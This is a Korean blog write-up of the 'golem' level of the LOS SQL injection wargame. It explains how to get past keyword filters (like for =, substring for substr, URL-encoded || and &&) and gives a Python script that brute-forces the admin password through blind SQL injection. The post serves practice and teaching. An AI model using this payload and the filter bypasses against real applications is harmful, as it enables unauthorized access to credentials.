[LOS] SQL Injection 풀이 (golem)
필터링 된 단어
prob
_
.
( )
or
and
substr
=
내용을 보게 되면 입력된 비밀번호와 db에서 가져온 비밀번호가 일치해야 admin 로그인이 승인되는 것을 볼 수 있다. 이 겨우 pw에서만 입력을 받기 때문에 union을 사용하기는 어려울 것 같고 전과 같이 비밀번호를 알아내는 방법을 써야할 것같다. 다만 substr이라는 문자열을 자르는 함수가 필터링되어 있으니 다른 방식으로 접근하여야 한다.
우선 = 필터링은 like 문을 사용해서 우회가 가능하다 또한 substr같은 경우 substring을 이용하면 우회가 가능해 진다.
or and 문의 경우 ||와 && 문자를 url encoding 해서 집어넣었다. 그 이유는 &&가 url에서 먹히지 않아서 그렇다.
이렇게 sql문을 작성하면 뒤에 && 뒤에 문이 참이 나와야 Hello admin이 나오기 때문에 이를 이용하여 자동화 공격시 우회가 가능해진다.
자동화 공격 코드는 전 orc 문제 풀이에서 조금만 수정을 하였다.
import requests
url='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookies={'PHPSESSID':'2331tgvu0ls0ek67c2ba6liiun '}
pw_str=''
for position in range(1,9):
for find_pw in range(33,127):
value ="x' || id like'admin' && ascii(substring(pw,{},1)) like {}#'".format(position,find_pw)
parameter={'pw':value}
res = requests.get(url, params=parameter, cookies=cookies)
if("Hello admin" in res.text):
pw_str+=chr(find_pw)
print("pw=", pw_str)
break
print("Found all pw=",pw_str)
'Coding > Wargame' 카테고리의 다른 글
[LOS] SQL Injection 풀이 (bugbear) (0) | 2022.06.12 |
---|---|
[LOS] SQL Injection 풀이 (darkknight) (0) | 2022.06.11 |
[LOS] SQL Injection 풀이 (orge) (0) | 2022.06.08 |
[LOS] SQL Injection 풀이 (wolfman, darkelf) (0) | 2022.06.07 |
[LOS] SQL Injection 풀이 (orc) (0) | 2022.06.06 |